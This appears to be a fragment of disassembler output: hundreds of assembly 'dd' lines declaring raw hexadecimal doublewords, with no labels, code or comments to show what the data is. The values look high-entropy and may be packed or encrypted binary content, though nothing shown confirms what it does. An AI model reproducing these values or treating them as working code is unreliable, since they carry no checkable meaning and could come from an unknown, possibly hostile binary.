		dd 0AADC3F4Eh, 880B808Fh, 0B0475A6Ch, 686409DDh, 8002B32h
		dd 4F0A0B8Bh, 60E65195h, 619A6469h, 254BE913h, 20754454h
		dd 1789704h, 401F43E6h,	1F4B33D9h, 4C6B21DAh, 1489CF12h
		dd 28FCBB41h, 0CD13F660h, 0FE29143Ah, 0FC16AA5Fh, 7DBC8C81h
		dd 0C0B80E28h, 3CF7D622h, 0D013D92Ch, 226289CAh, 30AD92BBh
		dd 682F35E6h, 30165A1Ch, 0F32DFE45h, 82281D21h,	2E05D056h
		dd 2907B765h, 24E94A88h, 0A5E1D4A0h, 32E69E5Dh,	0C55B0A10h
		dd 0CE52A057h, 76C416CAh, 9C60446h, 0C68021A9h,	0E6DC30C2h
		dd 0ADFCD925h, 0A09A6D7Bh, 0F0F0554Bh, 7A498D0Ch, 13780C37h
		dd 0A45F7F17h, 2851AAC7h, 0DF5E2BCCh, 737B0A49h, 62123D44h
		dd 27E72CB7h, 0DC411141h, 13205892h, 0BD0E02DFh, 308A351Ch
		dd 23E954C0h, 0E13FFF60h
		dd 76FB3864h, 1221F83Fh, 11E7660h, 7B57BFA9h, 0EA403E1Ch
		dd 3E27036Eh, 6355158h,	0DB31FC01h, 2893B900h, 164E1F3Dh
		dd 5DAD425Dh, 2B246205h, 0C249C04Dh, 6976F90Eh,	15A4F505h
		dd 4FC5E332h, 0C0AB94AFh, 0A774F612h, 31615817h, 0E92C2CBFh
		dd 0D4ABCF2Fh, 0D8926244h, 57D4317Dh, 508A7A81h, 0E6E96576h
		dd 0B680414Ah, 6ABF3825h, 0C28CC89Fh, 2F2FF4ABh, 30F209B1h
		dd 366B9F07h, 0E983551Dh, 0C913AD7Bh, 0CD4903BFh, 5BEAC32Ah
		dd 3842C457h, 0C81D1304h, 0AC22F2Ch, 80DB987Dh,	4FBE0638h
		dd 309215E9h, 3B58F4F2h, 2A582FF3h, 39022D09h, 0E1298E67h
		dd 0CA2EF9C6h, 4EBA58C9h, 9060E8DDh, 9F5F905Eh,	508D94F9h
		dd 0E2EB423h, 73200504h, 0C7298A52h, 0FCB0DE9Ch, 4FB73B17h
		dd 404EAD30h, 0B534E908h, 0DFFE60ACh, 0AFE90C09h, 9D596C3Fh
		dd 5B2ADBF0h, 5A0C86Ch,	3162A968h, 0A293F2Bh, 91D3FF4h
		dd 9B76ED16h, 47385C59h, 0F03E3206h, 5805F037h,	294E0B76h
		dd 9918EFBDh, 0E5BF4039h, 26582270h, 7BCF008Eh,	0E9775C18h
		dd 81D3BA0Ch, 0ED6544D6h, 3CF007Ah, 0A3B856A5h,	712B0B14h
		dd 5C9C74AEh, 4B25246Fh, 2D6854CCh, 667903EEh, 0D929908Ch
		dd 3121404Bh, 0E85BF177h, 0E3B8A100h, 0F40B893Dh, 80B2A373h
		dd 2D3F4805h, 0D6701437h, 0AC160782h, 42EAE89Fh, 0F977C985h
		dd 0E0931054h, 2CAA17C5h, 275EB242h, 87055CA2h,	4BE0EBB5h
		dd 92DF52C6h, 5BEEDD7Dh, 80143B0h, 0E970CA3Fh, 0C132F73Ah
		dd 646E2F0Ch, 9F4EF38Ch, 52111C40h, 513FC7h, 0C39B2B9h
		dd 22F18164h, 45942517h, 0F0050DBCh, 0AFB19EAFh, 1156A6C7h
		dd 82CE5E73h, 23615068h, 94A24518h, 8F04B2Ch, 27A3B963h
		dd 0E90D3DE8h, 2A837C4Eh, 1E738F41h, 77098732h,	659E444h
		dd 295B0FDEh, 771C69DDh, 4872DA1Ch, 16C7BF80h, 792854h
		dd 6610A1AEh, 24924F44h, 4E32B50Bh, 0B1B0074Ch,	0E9616E67h
		dd 282FF38h, 533B0ABAh,	9A61540h, 5F884082h, 0FD1B58Fh
		dd 0BC54A56Fh, 178EB7F4h, 0A0752762h, 0D3128F00h, 46A0340Dh
		dd 0C5AAA143h, 0A02A88DDh, 81900712h, 0A804900Bh, 2A5C264h
		dd 71277482h, 0F077437Dh, 20BD0A02h, 6073CC0Ch,	659A26Ah
		dd 1E93753h, 0C9B92057h, 0F670E56Fh, 518979BCh,	0A0CB347Dh
		dd 166A7103h, 8400E21h,	0D109E3C5h, 0B11055E5h,	0A312D4E1h
		dd 0A908EE89h, 0DAA43F56h, 29EC1648h, 79C06E62h, 5AA778C5h
		dd 48D2CA7Dh, 3D606E1h,	0A046736Eh, 2E22AC5Bh, 186375F3h
		dd 0FDE90DADh, 9E9B0559h, 10D2DD4Bh, 7B66B003h,	0D7093E4Eh
		dd 0F8123592h, 0CDA8F568h, 9463E9C2h, 9C2BB990h, 7B25825h
		dd 0F733872Bh, 0E8085BD1h, 0B0408021h, 24E9B2DFh, 1DA22C6h
		dd 0A13307BEh, 84BDBB3Ch, 40E92E2Ah, 0D12EFBE1h, 0C31F9687h
		dd 0FBE3EE84h, 0EFBDDDC5h, 8080B225h, 6A20593h,	1F685A0Bh
		dd 597C293Ah, 3EFB5C0h,	7672470Eh, 39C7F0D1h, 882F6DC0h
		dd 59951958h, 0F63869B5h, 5E9C4F3Ah, 0B5D368E3h, 47DE33F8h
		dd 0B98864E8h, 353486D7h, 5F73F6DAh, 3E43E33Fh,	385D1CB9h
		dd 7604CFBCh, 0BA1609BAh, 0F105F767h, 0CEA1C2BCh, 182E3DD8h
		dd 0C2991591h, 6A0F14F2h, 3F01E79Fh, 2921F91Eh,	54171D5h
		dd 0D91E8508h, 0C5462D3Eh, 1F914EE9h, 8DC5150h,	0F0E59521h
		dd 5702C609h, 1243567h,	2FE95E40h, 0FE989502h, 21810E12h
		dd 85CE996Eh, 5D39D152h, 1FA8C4BBh, 121AC792h, 0D0D9844Ah
		dd 3F780FABh, 7FA15C5Fh, 960371E0h, 3C1C8890h, 0A3C3310Ah
		dd 50CCB618h, 6307E1B7h, 8D18E38Ch, 27725BD9h, 57E52677h
		dd 332E09C9h, 715C6CC0h, 348301B9h, 992A2368h, 8B3C5698h
		dd 539FC29Eh, 22C85C80h, 8AF73187h, 0A002B396h,	2574EB2Eh
		dd 33920F42h, 65F9B7C0h, 5B3BD601h, 0CBE9DBF7h,	0B7BA0E7Eh
		dd 9AC780E3h, 7862EC9Ah, 0A84FE377h, 95E5885Bh,	16F7676h
		dd 5EDC085h, 99DF5D8h, 1BE9102Ch, 7B971E78h, 0D051AD36h
		dd 890B92EAh, 58747E11h, 5781D171h, 0B7861D9h, 1A31DA5Bh
		dd 427A3AEFh, 7F275F95h, 7EFEC1C5h, 0DA822F60h,	0BD70F8A4h
		dd 2C424B79h, 2CEED5DDh, 1584B0B5h, 0AC495A2Eh,	138181Bh
		dd 9DFE9899h, 3941D6F3h, 7620F275h, 0F5501B9h, 0EAE97629h
		dd 72F8055Ch, 8E29E9E0h, 1313C595h, 0D319A448h,	42EB8009h
		dd 25537E5Ah, 77655DF4h, 0CFFA27D5h, 4DE90AE6h,	89C48208h
		dd 8180151Fh, 0B47EB607h, 0F2F4054Eh, 0C380C24Fh, 0BA7BDC1Bh
		dd 0FAD30BC9h, 0D1AFA21Eh, 0D7094961h, 85BD63C0h, 78A76C07h
		dd 8BCE5653h, 0A7874591h, 0B1C5CB54h, 556BCF0h,	23186468h
		dd 4BD7A313h, 5E063A86h, 79D1B901h, 61441900h, 0E9F589F6h
		dd 970E7FADh, 894C7796h, 0FDF16BD6h, 520C9182h,	123C9F51h
		dd 68BAF616h, 0EA5E3809h, 6D20CFB5h, 0F6FC4009h, 0CC88D113h
		dd 0C8E7C404h, 2DE8CBFFh, 0D6A7623Bh, 0EF455878h, 0CA5A10CEh
		dd 73A7D1FAh, 0D829C29Ah, 0E0FB4564h, 5D260A4Fh, 0ED004B78h
		dd 4DC441D1h, 38CD6829h, 68590308h, 45163D58h, 619047A5h
		dd 0E0E28102h, 7446132Eh, 6854FA4Ah, 0FE164F7Eh, 269B5A00h
		dd 483106FEh, 2B46AC6h,	0B8EBDCC5h, 0F187F885h,	97122279h
		dd 0C44B7BA3h, 0FEC40670h, 0F20645BFh, 506091Eh, 0CAF08098h
		dd 0F62913BCh, 91D20927h, 0B3C118D5h, 609E9E1Fh, 3E3C2D17h
		dd 17646FF1h, 0A3D58DEEh, 0EAA05F3Ah, 0E8D14000h, 0DB0BF62Dh
		dd 0F125033Bh, 683AF207h, 195545EAh, 0B6401599h, 68E5C130h
		dd 0A20606h, 0CE4BA9F5h, 0BB075309h, 2ECF0FBEh,	0FD03E3F2h
		dd 90FD24C2h, 1825CB33h, 0C7EA864h, 2305036Fh, 0BCF9E91Bh
		dd 3AC9853h, 887CD62Fh,	0DFFB5192h, 545C27E1h, 0F6E963C6h
		dd 0ACDFB4DCh, 48431618h, 71509988h, 0B7FB861h,	0B7030C31h
		dd 41E96C10h, 3C49B81Fh, 0CBE0CE52h, 670B7F0h, 8B95C7ACh
		dd 52AE000h, 0BCE116EAh, 4C1EBBBBh, 39CBFB9Fh, 0F0E1E426h
		dd 0F76B452h, 1AE6DAF6h, 0EC980E9Eh, 0BFC74420h, 0EC0C6D84h
		dd 64C2E458h, 2A2C6E5h,	0C4B15152h, 0D975CA88h,	0C36885C3h
		dd 0B115410Fh, 38DBE9C2h, 0ED5F34EFh, 704C8BFBh, 0A8E9D80Ch
		dd 954B91C2h, 0E3C38B83h, 0D86291F9h, 68EE26EBh, 0DA891012h
		dd 0AC4FD9B6h, 0F4B7E25h, 513C20E3h, 936DFC85h,	187BC31h
		dd 0CE6C9206h, 0EB89CB89h, 1EDF5450h, 992D0794h, 502E9B25h
		dd 21DD0AB1h, 1D842BFh,	0A0D9E907h, 0C42E497Dh,	0D2F78BBBh
		dd 318EB974h, 8735DC2h,	15167E48h, 0AE335468h, 125C7D10h
		dd 0D4EEFA29h, 0B24B814Ch, 42460234h, 1C860ED7h, 64EA0113h
		dd 747F822Fh, 4DEE8001h, 0CF73F6CCh, 3EC69A0Ch,	0C98A9FB0h
		dd 1EBC2940h, 12FC417h,	34B62CAAh, 822E9084h, 0DE4A4216h
		dd 28880582h, 31CCC258h, 7C8CBD04h, 36F69DE4h, 6025A16Ch
		dd 4FBB16EFh, 1151C72Eh, 9746C2B2h, 0BB0A5460h,	1FDB6F6Dh
		dd 17DE8925h, 0BFF0C51Eh, 1DC5F100h, 7ED10D9Dh,	0B86B2FE6h
		dd 555AAA68h, 0B8843397h, 986F1D38h, 27D4266Dh,	62680E2Bh
		dd 29D07399h, 9EC20316h, 44E7310h, 0E5ACF0Ch, 277C0112h
		dd 0F2605C57h, 1B88179Ch, 1A7EE853h, 0D5980D5Dh, 67D16C93h
		dd 0FE87001Ah, 31D779F7h, 2812DCCCh, 0C7A07EC3h, 8081C307h
		dd 63DB1C5h, 20F7A7E7h,	1EBEF2Ch, 56494817h, 2A40017Eh
		dd 7BE9452Eh, 0ED2592A2h, 0E0604699h, 0D1DC8290h, 676F4507h
		dd 0A4248DB9h, 3D8FF17Eh
		dd 4FC5EB8h, 8A0D98B7h,	3C41302Ch, 75690905h, 4B97A8D7h
		dd 0E8D32EE3h, 6853C069h, 8E4088Dh, 0CA86E902h,	28FCD42Fh
		dd 360C24E2h, 0FB2909F0h, 2F080408h, 5A0D2BD6h,	9F6E30B2h
		dd 35AA4E57h, 0D599B5E5h, 0EB3F8742h, 44174518h, 0D03185BAh
		dd 1F3C3768h, 1C9A57CAh, 791707A8h, 91864E9h, 60F5788h
		dd 0FEDDEB25h, 3AE4108Dh, 0EC529DF3h, 28E69498h, 5C151627h
		dd 40121A91h, 0BFE1EF5h, 0BC75E9CAh, 0FA0816FDh, 7569C43h
		dd 46EC480h, 142E88E3h,	0D574EB6Bh, 0BF574680h,	0EE2D4B15h
		dd 1320D434h, 24D2B053h, 49953A73h, 5072C1AAh, 0A5A3E913h
		dd 7A5E2157h, 0CD2B1AE1h, 224AEA90h, 43F9A4FDh,	482B60B0h
		dd 0BA814EFDh, 805CD52Ch, 4E49E40Ch, 9797E910h,	0BF92470Fh
		dd 0E936E58Eh, 50097E82h, 664E1468h, 0BE56009Ah, 6EEB52F4h
		dd 79BEEEE9h, 14D12h, 51AD4B8Bh, 72327B20h, 0C016733h
		dd 12697064h, 3C48DEE9h, 0B5B8EA9h, 1BB782EBh, 56E463Bh
		dd 0B05018B5h, 0B1A5123Fh, 8853E90Fh, 4284834h,	0AA5BDE88h
		dd 80E331Eh, 0F658C7E6h, 269C0B7h, 5EF03A64h, 86DDEB45h
		dd 2718ED9Eh, 0DA62EAD1h, 9D801840h, 552DA903h,	7F4D11E9h
		dd 0A682C98Fh, 557CCCEh, 3F225505h, 0B025AFA7h,	475788E2h
		dd 4B1739EDh, 329FA60h,	64CD1ADAh, 5502C127h, 0B0745430h
		dd 7C7F980Eh, 331109F6h, 0E484575Dh, 1941EB7Ch,	2EAC0928h
		dd 5AD6570h, 21159620h,	0E75482DDh, 67A1F709h, 7F2AE468h
		dd 0EED723E3h, 0E1416B3Dh, 0A06F3CF9h, 2BE5E93Dh, 0EF80061Dh
		dd 80D7F608h, 888C13F7h, 9F96B2FDh, 0FE33F580h,	0B8D5F6C5h
		dd 1880E941h, 6E04DE68h, 2EB55B52h, 0DF80B78Ah,	59424E54h
		dd 7EC12541h, 3E23857Bh, 0F98BEAF4h, 0E0F1ED2Eh, 0D7FA1BE9h
		dd 0C969EA16h, 3946D48Ch, 3AEB1097h, 16867DCCh,	20BF12Ch
		dd 0A50729C1h, 11E6B587h, 3E3E3F42h, 0E26B8BF1h, 10011C32h
		dd 68033093h, 0B0440DEBh, 0E1ED02E9h, 0CD50DA01h, 60D5D6D0h
		dd 0D0456A23h, 5A89BF7Bh, 0F274ADE0h, 4ED7640h,	1117E77h
		dd 230C4D6h, 0A1B4E908h, 0D4ABB15Fh, 0F7BD527Fh, 3AA94F58h
		dd 0D07AE9C4h, 2A1F68B3h, 580E0EFEh, 6EDDF795h,	3A75C305h
		dd 7868A87Bh, 0E9740B2Ah, 124BE16Ch, 0E4A5FBBBh, 78166FEBh
		dd 28E80F03h, 0D21E274Ch, 0E926831Fh, 685F0830h, 0BA7AF01h
		dd 0D0DA13B9h, 33140510h, 0C75F76F7h, 7827CBB4h, 0A441B1E7h
		dd 6BC57A21h, 0C26D251Fh, 7AE1DD79h, 7D4E8E40h,	2D811DBFh
		dd 760D60E8h, 0E9A17Eh,	0C3015D07h, 5E27ACBBh, 3685840h
		dd 3125745Bh, 1F33A6A1h, 18FB00D2h, 29322B61h, 83E9FE0Dh
		dd 0CF3B1A82h, 1C56267Eh, 55188462h, 0A2A63879h, 2C62DA82h
		dd 4C0774Fh, 0DD3E7205h, 0C9E939D3h, 32548B8h, 3BFF380Dh
		dd 0F113E152h, 90788433h, 0B428D2BEh, 4D6F9008h, 0D088C97Fh
		dd 0F45B4B35h, 19607696h, 78ECF357h, 0A81750B4h, 753B12A2h
		dd 3D4FFA48h, 0FB960EDh, 90EB3184h, 8B41FB9Eh, 0B82A73F1h
		dd 6A084115h, 313E94D9h, 30E3FB6h, 0F742B250h, 2A592E8Bh
		dd 5EE95C58h, 0EF36B41Eh, 1B9D5416h, 0C77F40AEh, 45F491CFh
		dd 14F8312Dh, 4ED5804Fh, 0E0B74A1Bh, 0A80436E6h, 0F82990B8h
		dd 133C8BFFh, 0EFCC631h, 9A4BFAF5h, 0D18860B6h,	86BCE7h
		dd 7E3DE4F7h, 62000532h, 0E9277654h, 96012A5Ch,	38DA0EEEh
		dd 0B25977D6h, 5C5498ACh, 53555E61h, 0AB3C1DF1h, 0BEF26813h
		dd 0EF27077h, 625407D3h, 66DDEFB5h, 272FE448h, 217D7A11h
		dd 6B3BE9ACh, 53AC4F89h, 0F72C3446h, 80690684h,	9352A8FFh
		dd 21315E59h, 5A07D40h,	0BD509FACh, 0A1D8EC06h,	84E0A9AEh
		dd 0B0CB90D9h, 0CEEE5A9Bh, 6B68162Dh, 25E9E9E0h, 0BBE8458Fh
		dd 610F70CEh, 0A9DF0104h, 5E682B0Bh, 106812CEh,	70865882h
		dd 4AA0EEF2h, 0C52FE57Fh, 0BDEEDED2h, 7D92F505h, 6305EAA4h
		dd 4648451Bh, 0F5FC2583h, 966BEA21h, 48A626C2h,	0AD056FA3h
		dd 5637AA55h, 666440A9h, 9DA89031h, 3C687FE0h, 0DE6B28F9h
		dd 0A0606542h, 969AFF2Dh, 852F303h, 13A5EF48h, 5D2C967h
		dd 0C1B5E8Ah, 0EC2A6650h, 5A319240h, 0DE8F8FBh,	82D88DF8h
		dd 0B87D826Eh, 0CD9E80F4h, 0A0F9DA39h, 0C6E38101h, 472A9B49h
		dd 0DA7B80B8h, 0DD4C2933h, 0F2B05E05h, 0D1320E45h, 0CE09E91Bh
		dd 55D04929h, 4825110Ah, 0A27BE62h, 0CE160973h,	9CFBF185h
		dd 0C123895h, 3A097D49h, 2DC01094h, 9392C0Bh, 71400012h
		dd 91357BBDh, 144FDAE0h, 956B53EBh, 3720AA1Fh, 0AC343368h
		dd 0E11E73C3h, 0A37B77C2h, 69244BE8h, 13656403h, 80E8CA68h
		dd 0A22DD08Ch, 42140B27h, 36E010E9h, 293F5F59h,	58107C8h
		dd 44E20922h, 0E15307CAh, 3BD7F75Bh, 81F9A0h, 0A14FC9CFh
		dd 3E99E921h, 0EA26D6h,	6452ECE6h, 0F0798978h, 5AAA729Fh
		dd 6041258h, 302F4768h,	0DAC3EF5h, 88359460h, 6659A92Ah
		dd 473C0E6Ch, 0F5E9C4A6h, 729A14D5h, 27414A54h,	598127E9h
		dd 240D3068h, 8A4114B8h, 0D63D8C2Bh, 9AF28927h,	7557C30h
		dd 0F339C281h, 0A858CF4Ah, 0B8A86065h, 0B819468Dh, 14F63865h
		dd 0BA77AF4Eh, 0A0721668h, 7A00B8B7h, 2D719659h, 0B0A4F45Ah
		dd 0C8C24996h, 512E093h, 1DF1301h, 0A3DCE933h, 94D89374h
		dd 7E65225h, 0F6C6880Eh, 0E9F081D6h, 232B3707h,	580B3168h
		dd 0F1122668h, 0EFB2820Bh, 0B74176EAh, 3B372BCEh, 8CA1E695h
		dd 19D2AF40h, 97EB0D6h,	7C0D83F1h, 11556178h, 8FBF2027h
		dd 0D612A56Bh, 6858C15Dh, 31F37FFDh, 695B5412h,	841E7957h
		dd 74BE661Dh, 5E48DA92h, 0C593F3E9h, 1E2AA9BAh,	0B065164Dh
		dd 0ACDE04FEh, 15B620A1h, 5097E918h, 12AFE199h,	0FE034B75h
		dd 0D1F72A04h, 0B00984AAh, 28032D3Eh, 29097AFCh, 0DED5E1C5h
		dd 16D518A5h, 0A3594B8Eh, 61FED3A3h, 2617F7A0h,	80124A29h
		dd 30982CEAh, 3D0E5E16h, 5DB4FD17h, 0E4BA0452h,	8318A40Bh
		dd 6ACB4760h, 8CD75E28h, 68070CB1h, 57093343h, 8949A145h
		dd 24A5E486h, 52BA9BD5h, 0B623E482h, 7D56801h, 60892D9Fh
		dd 78955B75h, 5BC1B667h, 3A54258h, 975701CDh, 600C3B6Fh
		dd 0E9162BBBh, 0F6ADB05Eh, 59740490h, 0D11FD976h, 0D3C9C9FEh
		dd 0FB314872h, 88E64F78h, 3BC06E69h, 8A3AF8BDh,	4E19F436h
		dd 11329149h, 0EE3D815Dh, 2907357h, 605B53Bh, 6F1C0C08h
		dd 0E98FB428h, 4D23D6B9h, 29E93E1Ch, 8CE1C061h,	6801CC08h
		dd 0D63CCD2Bh, 0D609CB00h, 6B6CE920h, 9BC71BC7h, 74ADF601h
		dd 0E6F06EB6h, 33621636h, 9D7D041Eh, 12B90EE0h,	69FB2330h
		dd 772898B2h, 2EE124F1h, 0C8FE0F76h, 571D76C5h,	4F08E8C0h
		dd 6A258A30h, 0BEAF656Dh, 0ADA3E021h, 17C16B5h,	170A793Dh
		dd 81C04AE9h, 547FC379h, 0CC2513CDh, 1045D97Fh,	95E95268h
		dd 4251546Ah, 44CD183Ch, 1307EB47h, 0AED47625h,	51D7DA4Dh
		dd 0C054826Eh, 66ACB4C8h, 0A0BEB8BDh, 6853802Fh, 0FD43D006h
		dd 69545B42h, 0BD540FCCh, 2B90E941h, 4A5A6C64h,	162DBC21h
		dd 0C4F4C36Ah, 6E4316EBh, 0F700FAD3h, 58C8498Fh, 0B808F8C1h
		dd 0BA3E4CFBh, 0BE868A0h, 5A011F12h, 137E4EA1h,	0FEA3C48Bh
		dd 0BC1CAE9Ah, 0B85F387Eh, 0F62FA2E5h, 1D32F9Dh, 856B2D3Eh
		dd 85815081h, 0FE217FA5h, 813FCB60h, 0D6446D5Bh, 16A94142h
		dd 65F16086h, 0CE8180DFh, 5409D709h, 0E02F0F71h, 0E92A7363h
		dd 0B702B70Dh, 0A45ECB88h
		dd 6FE38060h, 0E76FE7D0h, 12013F5Eh, 0BE5BBC3h,	258F3D7h
		dd 0F328D80Ah, 0EA82885Ah, 105E56E9h, 72022324h, 0DF291981h
		dd 0DFB01F91h, 79B8F2FDh, 0D9DD2837h, 0B753F800h, 0DFF607ADh
		dd 0F0EDB252h, 1EE5E9D7h, 815A36C0h, 251219EFh,	0B3F0F9C4h
		dd 77F8E6FFh, 5A60AD4Eh, 4393856h, 0E9E1D125h, 3B3AA1DEh
		dd 162D0EE0h, 0AB45624Fh, 36FD4D06h, 0CEBF041Dh, 0FEEA7726h
		dd 44CA191h, 42D89569h,	0BF092343h, 80EEC133h, 5178F61Ch
		dd 189901Dh, 0EA5C8BE6h, 82D6F76Dh, 4074231Ch, 0ACD96076h
		dd 0CB5F269Ah, 8630244h, 4CE136FAh, 256F2055h, 125A3BF2h
		dd 4AD48BADh, 27A2BF28h, 0A31333BEh, 9BD880C2h,	0DF5906B0h
		dd 0AB875B0Ch, 581A7626h, 73105901h, 5E5A2766h,	1B3458C8h
		dd 3983F78Ah, 100596A8h, 650A6B05h, 74550BEh, 0F85E5F27h
		dd 0DE9584C9h, 58F872FAh, 896CC55Fh, 0A910AFDh,	49F45D1h
		dd 7E6EA7h, 0C1DDF758h,	6ECFBEDh, 0D01EAAE2h, 9C799723h
		dd 0FC1A38E9h, 0A48A82DAh, 68D02DB8h, 6E92F507h, 0E5607DBBh
		dd 58A114A9h, 4B004229h, 0E947744Eh, 3B94E72Dh,	62AE56E5h
		dd 0B3D25E75h, 75B9076Bh, 0F1C98EA4h, 0D5E46E46h, 60F7E01Fh
		dd 4C440C21h, 7780749Bh, 9300413h, 0AFDE2BE9h, 0F2489C8Eh
		dd 0EC48CF25h, 5AD6032Ah, 4E780BEEh, 64626089h,	81CCC5DDh
		dd 5FE9565Bh, 0D75CA8ECh, 28D0F40Ch, 4E27A6E2h,	0AF132547h
		dd 0FA4C5749h, 93E109B7h, 165EAD7Ch, 66D8A38h, 1004A078h
		dd 24C16415h, 2B7347DBh, 0C023B400h, 0E48005ECh, 0EAE98B0Ch
		dd 3C2DB006h, 0F0D8748Eh, 0ED9E8C16h, 3F7680B4h, 4EF725BBh
		dd 0D83EF5DFh, 87250756h, 8CED7CA9h, 0B838880Ah, 6A20251Ch
		dd 7BD02DFDh, 0D9D602E3h, 7842BAB1h, 0E1BDB7ECh, 0F32ECF79h
		dd 9DAED2B6h, 1CF63FA3h, 0F27C547Fh, 405A4BD3h,	0E5FFBFB4h
		dd 294CF356h, 0FE311317h, 0C6C014B2h, 0B0A4E4C3h, 9CF02124h
		dd 0F304EC64h, 7725E9CBh, 0F0163AE1h, 82128ABh,	13A8029Eh
		dd 0F10FB109h, 8213F05Bh, 7D1B4207h, 7C2F166Dh,	0E9005A40h
		dd 0D4C391Bh, 4D846813h, 0FD6B3B8Ch, 9005C069h,	0BC7D0853h
		dd 35190091h, 0C050FB2h, 7A12470h, 0A2EE18E1h, 7D1277BBh
		dd 0F101196Bh, 1D894437h, 0AEBEC46Bh, 4A5C8B4h,	31EF1EBCh
		dd 0FA7482DFh, 90B544F5h, 81CC405Eh, 0F45AC75Fh, 0B000FA0Ch
		dd 299E8272h, 86B2F58Ah, 0C08DD075h, 64456840h,	4FB00E9Bh
		dd 0B9AF2D54h, 4D3D6009h, 8B23DC5Dh, 2966868Eh,	4BD075Dh
		dd 8F69F2BBh, 0E0051BACh, 0C715A135h, 4516511Ch, 12E13C4Bh
		dd 0B4AC7F1Eh, 2E15CFA1h, 811C3D8Ch, 1759C32Ch,	3F2558h
		dd 579635B3h, 89121225h, 0E3D302C6h, 2D520110h,	889F546Ah
		dd 27B42208h, 0A31208D9h, 0FE96F7F1h, 3B76E1C7h, 9AC04FB2h
		dd 312AE14Fh, 81C00EBCh, 277292C1h, 2E6A7A4Bh, 0D4840809h
		dd 89ECB644h, 89C07155h, 0F77156BFh, 590433A1h,	2DBE5351h
		dd 0A0FD3A08h, 20516E3Fh, 2ACD9911h, 9641E66Fh,	3A213DBAh
		dd 3E5345F0h, 0F10452CAh, 0A14555D8h, 60A229A5h, 54159C0Ch
		dd 0BB530028h, 2A3AF0A0h, 3DFAD929h, 2DCA84BFh,	0E9346CBEh
		dd 38BD2C7Bh, 7B0D3Dh, 5083A1Eh, 520E0F44h, 0B2163FEAh
		dd 0BAA6F72h, 0FD985317h, 44C9E75Ah, 0BD9A5D5Fh, 0EDA9025Dh
		dd 0C980B357h, 90225E36h, 31887703h, 0CE251B0h,	947D1942h
		dd 0BDA0FACAh, 29B53103h, 8059EA80h, 81DBBE6h, 0C4815AD4h
		dd 0E151E90Eh, 0A9B38683h, 0CCCAD330h, 520BA5F6h, 0E739A4F6h
		dd 800E0CF8h, 0CA6630E2h, 0D27E06E4h, 24F5992Dh, 21BEC209h
		dd 0A5DC7C77h, 0BCC1F658h, 37C07196h, 0F79B8241h, 0F61D1A7Fh
		dd 40C6A808h, 0F1092DCBh, 800A9311h, 0E05D0E7h,	55ED254Dh
		dd 92CF36FEh, 0D3634631h, 0F8E9BA03h, 9AA48968h, 2F1CD749h
		dd 0A6A2A32h, 73737D31h, 59DF720Bh, 0C1D34965h,	564FE985h
		dd 0F05A35A4h, 0EC725B4Bh, 540F92A0h, 71F665FFh, 309E6791h
		dd 0A02A7A61h, 40E6D140h, 0F6DCF760h, 0B5373984h, 4A26C770h
		dd 0AA6C3053h, 714F81F8h, 94354559h, 0C387BF3Ah, 726AF53Eh
		dd 4FEB8080h, 6A45AB1Ah, 6A92A99Eh, 505B6CEAh, 0C067FA50h
		dd 55EF0C7h, 0DC253DDBh, 0A3B05D39h, 7C1E2068h,	0E6AC154Fh
		dd 8C7B7900h, 6581E932h, 0EFC85FF0h, 632A5B02h,	6CB3D73Bh
		dd 557F2ED8h, 0CC01A898h, 0E93A6F03h, 74C276F9h, 0A12BC91Bh
		dd 93689CC0h, 8B6A034Dh, 0C800046h, 2F31AE2Dh, 0D70F1874h
		dd 3765FC00h, 355FE91Fh, 8FB21917h, 63A2FC4h, 9AE5854h
		dd 5D1D7962h, 8431294Ch, 0D9520B0Eh, 0CAFE4C81h, 0D506E2C0h
		dd 13C020C2h, 1F718F4Eh, 7B206855h, 5D0C075Ch, 0CB8BE945h
		dd 4881CDDh, 22157FCCh,	8592FEE9h, 542975B9h, 655D4180h
		dd 10A148Fh, 8BA52CBh, 2DCAD8A5h, 746E3FFBh, 28C7595Ah
		dd 0C80898F2h, 1D2DEE0Ch, 8729143Ah, 654FC4E6h,	0FA56C33Ch
		dd 2A8760D9h, 0B9023EE1h, 21C2D7FBh, 9E2C3C60h,	0B685180h
		dd 0BCD3477h, 7E53A002h, 2A8F610Fh, 0FDE86247h,	0EB66972Dh
		dd 0BD4A1D20h, 48303244h, 459221Fh, 0F0281EA1h,	81B4CB53h
		dd 763DC61Bh, 2E265AA0h, 0C5AC5B12h, 0E0CBBA7Ah, 7838AE4Bh
		dd 2D15B35Dh, 0FB07B1DBh, 315685Fh, 74129CB3h, 2343422h
		dd 412803E4h, 0F8D7BA40h, 0BAC7D195h, 43E0BA0Fh, 20DFE16h
		dd 64FE3A37h, 3571BF9Ch, 5B799169h, 7BA7F74h, 1AFD6F09h
		dd 0C021B24Ah, 4EBF75Eh, 74B9690Bh, 0A3D4D62Fh,	4227F723h
		dd 9209FF0Ah, 0CD989E04h, 164C3950h, 9D298C66h,	471EF028h
		dd 0CCF6E50Dh, 0CC3CADBAh, 0BEE92697h, 0F25F96A9h, 65D607BFh
		dd 91F22EE5h, 0BCCF5EA8h, 23697009h, 0A27BC5Ah,	3B45BFh
		dd 3EC17C30h, 6398AAE9h, 64E974B5h, 0AFC2A410h,	968D640h
		dd 48803332h, 78727803h, 1356493Ch, 9EBA4B8Eh, 0E2C04FB4h
		dd 7E2B66E5h, 0B9CD1E17h, 0E9684207h, 0ABEAB159h, 61B5E2F7h
		dd 50276h, 107CD417h, 0F70A8111h, 88BB3423h, 9999F08h
		dd 1F49D029h, 13CD6854h, 45EAD531h, 20D2F747h, 96E99508h
		dd 0C2A32660h, 4C9E36BAh, 0E5787B65h, 0E95D0840h, 5F045220h
		dd 3C296005h, 50C6FF14h, 0CFB9007h, 0D8B088Dh, 0E517820Ch
		dd 14AA1128h, 2B068880h, 1E220C4Ch, 515A1EF2h, 0A10F52B8h
		dd 0FFB23562h, 40D5FD0Fh, 5427C8F5h, 0DEEBE201h, 89239382h
		dd 0FFEF01C4h, 0BE5F7E2h, 18DFE6C2h, 8330487Fh,	92A07EFh
		dd 508046F3h, 0E96B0610h, 9F099A42h, 3889AE00h,	0CFB86CD3h
		dd 0E7F15C66h, 0C2045246h, 9946C603h, 0DFE14F7Eh, 0AD268251h
		dd 7C148368h, 0AC816426h, 0C9DB5E2Bh, 0B0685809h, 0F8FFE6F7h
		dd 0E047BF25h, 0FA0B8CA0h, 20E4203h, 6927ACA1h,	9E8EDA7h
		dd 4D6D37A3h, 805DE10Eh, 0BC022A94h, 0A9532868h, 12AFD44Fh
		dd 84FBEDDDh, 0BA012B0Fh, 3F6B7DC7h, 28B2F444h,	0ED69DDAFh
